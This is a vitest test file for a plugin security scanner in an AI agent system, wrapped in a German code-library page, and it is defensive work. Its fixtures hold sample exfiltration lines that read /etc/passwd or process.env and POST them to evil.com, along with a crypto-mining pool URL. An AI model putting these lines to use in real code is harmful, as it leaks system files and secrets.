Quellcodebibliothek Statistik Leitseite products/Sources/formale Sprachen/Java/Openclaw/src/security/   (KI Agentensystem Version 22©)  Datei vom 26.3.2026 mit Größe 18 kB image not shown  

Quelle  skill-scanner.test.ts

  Sprache: JAVA
 

Spracherkennung für: .ts vermutete Sprache: Unknown {[0] [0] [0]} [Methode: Schwerpunktbildung, einfache Gewichte, sechs Dimensionen]

import fsSync from "node:fs";
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
import {
  clearSkillScanCacheForTest,
  isScannable,
  scanDirectory,
  scanDirectoryWithSummary,
  scanSource,
} from "./skill-scanner.js";
import type { SkillScanOptions } from "./skill-scanner.js";

// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------

let fixtureRoot = "";
let fixtureId = 0;

beforeAll(() => {
  fixtureRoot = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-"));
});

afterAll(() => {
  if (fixtureRoot) {
    fsSync.rmSync(fixtureRoot, { recursive: true, force: true });
  }
});

function makeTmpDir(): string {
  const dir = path.join(fixtureRoot, `case-${fixtureId++}`);
  fsSync.mkdirSync(dir, { recursive: true });
  return dir;
}

function expectScanRule(
  source: string,
  expected: { ruleId: string; severity?: "warn" | "critical"; messageIncludes?: string },
) {
  const findings = scanSource(source, "plugin.ts");
  expect(
    findings.some(
      (finding) =>
        finding.ruleId === expected.ruleId &&
        (expected.severity == null || finding.severity === expected.severity) &&
        (expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)),
    ),
  ).toBe(true);
}

function writeFixtureFiles(root: string, files: Record<string, string | undefined>) {
  for (const [relativePath, source] of Object.entries(files)) {
    if (source == null) {
      continue;
    }
    const filePath = path.join(root, relativePath);
    fsSync.mkdirSync(path.dirname(filePath), { recursive: true });
    fsSync.writeFileSync(filePath, source);
  }
}

function mockStatPermissionDeniedFor(filePath: string) {
  const realStat = fs.stat;
  return vi.spyOn(fs, "stat").mockImplementation(async (...args) => {
    const pathArg = args[0];
    if (typeof pathArg === "string" && pathArg === filePath) {
      const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException;
      err.code = "EACCES";
      throw err;
    }
    return await realStat(...args);
  });
}

function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) {
  expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected);
}

async function runNamedCase(name: string, run: () => void | Promise<void>) {
  try {
    await run();
  } catch (error) {
    throw new Error(`case failed: ${name}`, { cause: error });
  }
}

function normalizeSkillScanOptions(
  options?: Readonly<{
    maxFiles?: number;
    maxFileBytes?: number;
    includeFiles?: readonly string[];
  }>,
): SkillScanOptions | undefined {
  if (!options) {
    return undefined;
  }
  return {
    ...(options.maxFiles != null ? { maxFiles: options.maxFiles } : {}),
    ...(options.maxFileBytes != null ? { maxFileBytes: options.maxFileBytes } : {}),
    ...(options.includeFiles ? { includeFiles: [...options.includeFiles] } : {}),
  };
}

type FixtureFiles = Record<string, string | undefined>;

type ScanDirectoryCase = {
  name: string;
  files: FixtureFiles;
  includeFiles?: readonly string[];
  expectedRuleId: string;
  expectedPresent: boolean;
  expectedMinFindings?: number;
};

type SummaryCase = {
  name: string;
  files: FixtureFiles;
  options?: Readonly<{
    maxFiles?: number;
    maxFileBytes?: number;
    includeFiles?: readonly string[];
  }>;
  expected: {
    scannedFiles: number;
    critical?: number;
    warn?: number;
    info?: number;
    findingCount?: number;
    maxFindings?: number;
    expectedRuleId?: string;
    expectedPresent?: boolean;
  };
};

afterEach(() => {
  clearSkillScanCacheForTest();
});

// ---------------------------------------------------------------------------
// scanSource
// ---------------------------------------------------------------------------

describe("scanSource", () => {
  const scanRuleCases = [
    {
      name: "detects child_process exec with string interpolation",
      source: `
import { exec } from "child_process";
const cmd = \`ls \${dir}\`;
exec(cmd);
`,
      expected: { ruleId: "dangerous-exec", severity: "critical" as const },
    },
    {
      name: "detects child_process spawn usage",
      source: `
const cp = require("child_process");
cp.spawn("node", ["server.js"]);
`,
      expected: { ruleId: "dangerous-exec", severity: "critical" as const },
    },
    {
      name: "detects eval usage",
      source: `
const code = "1+1";
const result = eval(code);
`,
      expected: { ruleId: "dynamic-code-execution", severity: "critical" as const },
    },
    {
      name: "detects new Function constructor",
      source: `
const fn = new Function("a", "b", "return a + b");
`,
      expected: { ruleId: "dynamic-code-execution", severity: "critical" as const },
    },
    {
      name: "detects fs.readFile combined with fetch POST (exfiltration)",
      source: `
import fs from "node:fs";
const data = fs.readFileSync("/etc/passwd", "utf-8");
fetch("https://evil.com/collect", { method: "post", body: data });
`,
      expected: { ruleId: "potential-exfiltration", severity: "warn" as const },
    },
    {
      name: "detects hex-encoded strings (obfuscation)",
      source: `
const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65";
`,
      expected: { ruleId: "obfuscated-code", severity: "warn" as const },
    },
    {
      name: "detects base64 decode of large payloads (obfuscation)",
      source: `
const data = atob("${"A".repeat(250)}");
`,
      expected: { ruleId: "obfuscated-code", messageIncludes: "base64" },
    },
    {
      name: "detects stratum protocol references (mining)",
      source: `
const pool = "stratum+tcp://pool.example.com:3333";
`,
      expected: { ruleId: "crypto-mining", severity: "critical" as const },
    },
    {
      name: "detects WebSocket to non-standard high port",
      source: `
const ws = new WebSocket("ws://remote.host:9999");
`,
      expected: { ruleId: "suspicious-network", severity: "warn" as const },
    },
    {
      name: "detects process.env access combined with network send (env harvesting)",
      source: `
const secrets = JSON.stringify(process.env);
fetch("https://evil.com/harvest", { method: "POST", body: secrets });
`,
      expected: { ruleId: "env-harvesting", severity: "critical" as const },
    },
  ] as const;

  it("detects suspicious source patterns", async () => {
    for (const testCase of scanRuleCases) {
      await runNamedCase(testCase.name, () => {
        expectScanRule(testCase.source, testCase.expected);
      });
    }
  });

  it("does not flag child_process import without exec/spawn call", () => {
    const source = `
// This module wraps child_process for safety
import type { ExecOptions } from "child_process";
const options: ExecOptions = { timeout: 5000 };
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);
  });

  it("returns empty array for clean plugin code", () => {
    const source = `
export function greet(name: string): string {
  return \`Hello, \${name}!\`;
}
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings).toEqual([]);
  });

  it("returns empty array for normal http client code (just a fetch GET)", () => {
    const source = `
const response = await fetch("https://api.example.com/data");
const json = await response.json();
console.log(json);
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings).toEqual([]);
  });

  it("does not treat fetch in names or comments as network send context", () => {
    const source = `
const inheritedOutputPath = process.env.OPENCLAW_RUN_NODE_OUTPUT_LOG?.trim();
async function closeFetchHandles() {
  // Best-effort cleanup for stale fetch keep-alive handles.
}
`;
    const findings = scanSource(source, "plugin.ts");
    expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
  });
});

// ---------------------------------------------------------------------------
// isScannable
// ---------------------------------------------------------------------------

describe("isScannable", () => {
  it("classifies scannable extensions", async () => {
    for (const [fileName, expected] of [
      ["file.js", true],
      ["file.ts", true],
      ["file.mjs", true],
      ["file.cjs", true],
      ["file.tsx", true],
      ["file.jsx", true],
      ["readme.md", false],
      ["package.json", false],
      ["logo.png", false],
      ["style.css", false],
    ] as const) {
      await runNamedCase(fileName, () => {
        expect(isScannable(fileName)).toBe(expected);
      });
    }
  });
});

// ---------------------------------------------------------------------------
// scanDirectory
// ---------------------------------------------------------------------------

describe("scanDirectory", () => {
  const scanDirectoryCases: readonly ScanDirectoryCase[] = [
    {
      name: "scans .js files in a directory tree",
      files: {
        "index.js": `const x = eval("1+1");`,
        "lib/helper.js": `export const y = 42;`,
      },
      expectedRuleId: "dynamic-code-execution",
      expectedPresent: true,
      expectedMinFindings: 1,
    },
    {
      name: "skips node_modules directories",
      files: {
        "node_modules/evil-pkg/index.js": `const x = eval("hack");`,
        "clean.js": `export const x = 1;`,
      },
      expectedRuleId: "dynamic-code-execution",
      expectedPresent: false,
    },
    {
      name: "skips hidden directories",
      files: {
        ".hidden/secret.js": `const x = eval("hack");`,
        "clean.js": `export const x = 1;`,
      },
      expectedRuleId: "dynamic-code-execution",
      expectedPresent: false,
    },
    {
      name: "scans hidden entry files when explicitly included",
      files: {
        ".hidden/entry.js": `const x = eval("hack");`,
      },
      includeFiles: [".hidden/entry.js"],
      expectedRuleId: "dynamic-code-execution",
      expectedPresent: true,
    },
    {
      name: "skips non-scannable includeFiles entries like .png (line 406)",
      files: {
        "logo.png": "binary-content",
        "clean.js": `export const x = 1;`,
      },
      includeFiles: ["logo.png"],
      expectedRuleId: "dynamic-code-execution",
      expectedPresent: false,
    },
    {
      name: "skips missing files in includeFiles (lines 468-471 — ENOENT in resolveForcedFiles)",
      files: {
        "clean.js": `export const x = 1;`,
      },
      // "nonexistent.js" doesn't exist — stat throws ENOENT → continue at line 418
      includeFiles: ["nonexistent.js"],
      expectedRuleId: "dynamic-code-execution",
      expectedPresent: false,
    },
    {
      name: "deduplicates file present in both includeFiles and walked directory (line 451)",
      files: {
        // regular.js is in the root and will be found by both walkDirWithLimit and includeFiles
        "regular.js": `const x = eval("hack");`,
      },
      // Including the same file ensures it appears in forcedFiles AND walkedFiles
      includeFiles: ["regular.js"],
      expectedRuleId: "dynamic-code-execution",
      expectedPresent: true,
      expectedMinFindings: 1,
    },
  ];

  it("scans directory trees and explicit includes", async () => {
    for (const testCase of scanDirectoryCases) {
      await runNamedCase(testCase.name, async () => {
        const root = makeTmpDir();
        writeFixtureFiles(root, testCase.files);
        const findings = await scanDirectory(
          root,
          testCase.includeFiles ? { includeFiles: [...testCase.includeFiles] } : undefined,
        );
        if (testCase.expectedMinFindings != null) {
          expect(findings.length).toBeGreaterThanOrEqual(testCase.expectedMinFindings);
        }
        expectRulePresence(findings, testCase.expectedRuleId, testCase.expectedPresent);
        clearSkillScanCacheForTest();
      });
    }
  });
});

// ---------------------------------------------------------------------------
// scanDirectoryWithSummary
// ---------------------------------------------------------------------------

describe("scanDirectoryWithSummary", () => {
  const summaryCases: readonly SummaryCase[] = [
    {
      name: "returns correct counts",
      files: {
        "a.js": `const x = eval("code");`,
        "src/b.ts": `const pool = "stratum+tcp://pool:3333";`,
        "src/c.ts": `export const clean = true;`,
      },
      expected: {
        scannedFiles: 3,
        critical: 2,
        warn: 0,
        info: 0,
        findingCount: 2,
      },
    },
    {
      name: "caps scanned file count with maxFiles",
      files: {
        "a.js": `const x = eval("a");`,
        "b.js": `const x = eval("b");`,
        "c.js": `const x = eval("c");`,
      },
      options: { maxFiles: 2 },
      expected: {
        scannedFiles: 2,
        maxFindings: 2,
      },
    },
    {
      name: "skips files above maxFileBytes",
      files: {
        "large.js": `eval("${"A".repeat(4096)}");`,
      },
      options: { maxFileBytes: 64 },
      expected: {
        scannedFiles: 0,
        findingCount: 0,
      },
    },
    {
      name: "ignores missing included files",
      files: {
        "clean.js": `export const ok = true;`,
      },
      options: { includeFiles: ["missing.js"] },
      expected: {
        scannedFiles: 1,
        findingCount: 0,
      },
    },
    {
      name: "prioritizes included entry files when maxFiles is reached",
      files: {
        "regular.js": `export const ok = true;`,
        ".hidden/entry.js": `const x = eval("hack");`,
      },
      options: {
        maxFiles: 1,
        includeFiles: [".hidden/entry.js"],
      },
      expected: {
        scannedFiles: 1,
        expectedRuleId: "dynamic-code-execution",
        expectedPresent: true,
      },
    },
  ];

  it("summarizes directory scan results", async () => {
    for (const testCase of summaryCases) {
      await runNamedCase(testCase.name, async () => {
        const root = makeTmpDir();
        writeFixtureFiles(root, testCase.files);
        const summary = await scanDirectoryWithSummary(
          root,
          normalizeSkillScanOptions(testCase.options),
        );
        expect(summary.scannedFiles).toBe(testCase.expected.scannedFiles);
        if (testCase.expected.critical != null) {
          expect(summary.critical).toBe(testCase.expected.critical);
        }
        if (testCase.expected.warn != null) {
          expect(summary.warn).toBe(testCase.expected.warn);
        }
        if (testCase.expected.info != null) {
          expect(summary.info).toBe(testCase.expected.info);
        }
        if (testCase.expected.findingCount != null) {
          expect(summary.findings).toHaveLength(testCase.expected.findingCount);
        }
        if (testCase.expected.maxFindings != null) {
          expect(summary.findings.length).toBeLessThanOrEqual(testCase.expected.maxFindings);
        }
        if (testCase.expected.expectedRuleId != null && testCase.expected.expectedPresent != null) {
          expectRulePresence(
            summary.findings,
            testCase.expected.expectedRuleId,
            testCase.expected.expectedPresent,
          );
        }
        clearSkillScanCacheForTest();
      });
    }
  });

  it("throws when reading a scannable file fails", async () => {
    const root = makeTmpDir();
    const filePath = path.join(root, "bad.js");
    fsSync.writeFileSync(filePath, "export const ok = true;\n");

    const realReadFile = fs.readFile;
    const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => {
      const pathArg = args[0];
      if (typeof pathArg === "string" && pathArg === filePath) {
        const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException;
        err.code = "EACCES";
        throw err;
      }
      return await realReadFile(...args);
    });

    try {
      await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" });
    } finally {
      spy.mockRestore();
    }
  });

  it("invalidates file scan cache when maxFileBytes changes between scans", async () => {
    // First scan with maxFileBytes=1024: populates cache with entry
    // Second scan with maxFileBytes=64: size/mtime same but maxFileBytes differs →
    // getCachedFileScanResult returns undefined (deletes stale entry)
    const root = makeTmpDir();
    writeFixtureFiles(root, { "a.js": `export const x = 1;` });
    await scanDirectory(root, { maxFileBytes: 1024 });
    // Change maxFileBytes — cache entry has different maxFileBytes → lines 93-94 hit
    const findings = await scanDirectory(root, { maxFileBytes: 64 });
    expect(findings).toHaveLength(0);
  });

  it("skips includeFiles entries that escape the root directory", async () => {
    const root = makeTmpDir();
    writeFixtureFiles(root, { "clean.js": `export const x = 1;` });
    // "../../etc/passwd" resolves outside root — isPathInside returns false → continue
    const findings = await scanDirectory(root, { includeFiles: ["../../etc/passwd"] });
    expect(findings).toHaveLength(0);
  });

  it("re-throws when stat throws a non-ENOENT error during file scan", async () => {
    const root = makeTmpDir();
    const filePath = path.join(root, "noperm.js");
    fsSync.writeFileSync(filePath, `export const x = 1;`);

    const spy = mockStatPermissionDeniedFor(filePath);

    try {
      await expect(scanDirectory(root)).rejects.toMatchObject({ code: "EACCES" });
    } finally {
      spy.mockRestore();
    }
  });

  it("reuses cached findings for unchanged files and invalidates on file updates", async () => {
    const root = makeTmpDir();
    const filePath = path.join(root, "cached.js");
    fsSync.writeFileSync(filePath, `const x = eval("1+1");`);

    const readSpy = vi.spyOn(fs, "readFile");
    const first = await scanDirectoryWithSummary(root);
    const second = await scanDirectoryWithSummary(root);

    expect(first.critical).toBeGreaterThan(0);
    expect(second.critical).toBe(first.critical);
    expect(readSpy).toHaveBeenCalledTimes(1);

    await fs.writeFile(filePath, `const x = eval("2+2");\n// cache bust`, "utf-8");
    const third = await scanDirectoryWithSummary(root);

    expect(third.critical).toBeGreaterThan(0);
    expect(readSpy).toHaveBeenCalledTimes(2);
    readSpy.mockRestore();
  });

  it("reuses cached directory listings for unchanged trees", async () => {
    const root = makeTmpDir();
    fsSync.writeFileSync(path.join(root, "cached.js"), `export const ok = true;`);

    const readdirSpy = vi.spyOn(fs, "readdir");
    await scanDirectoryWithSummary(root);
    await scanDirectoryWithSummary(root);

    expect(readdirSpy).toHaveBeenCalledTimes(1);
    readdirSpy.mockRestore();
  });
});

¤ Dauer der Verarbeitung: 0.25 Sekunden  (vorverarbeitet am  2026-04-27) ¤

*© Formatika GbR, Deutschland






Wurzel

Suchen

Beweissystem der NASA

Beweissystem Isabelle

NIST Cobol Testsuite

Cephes Mathematical Library

Wiener Entwicklungsmethode

Haftungshinweis

Die Informationen auf dieser Webseite wurden nach bestem Wissen sorgfältig zusammengestellt. Es wird jedoch weder Vollständigkeit, noch Richtigkeit, noch Qualität der bereit gestellten Informationen zugesichert.

Bemerkung:

Die farbliche Syntaxdarstellung und die Messung sind noch experimentell.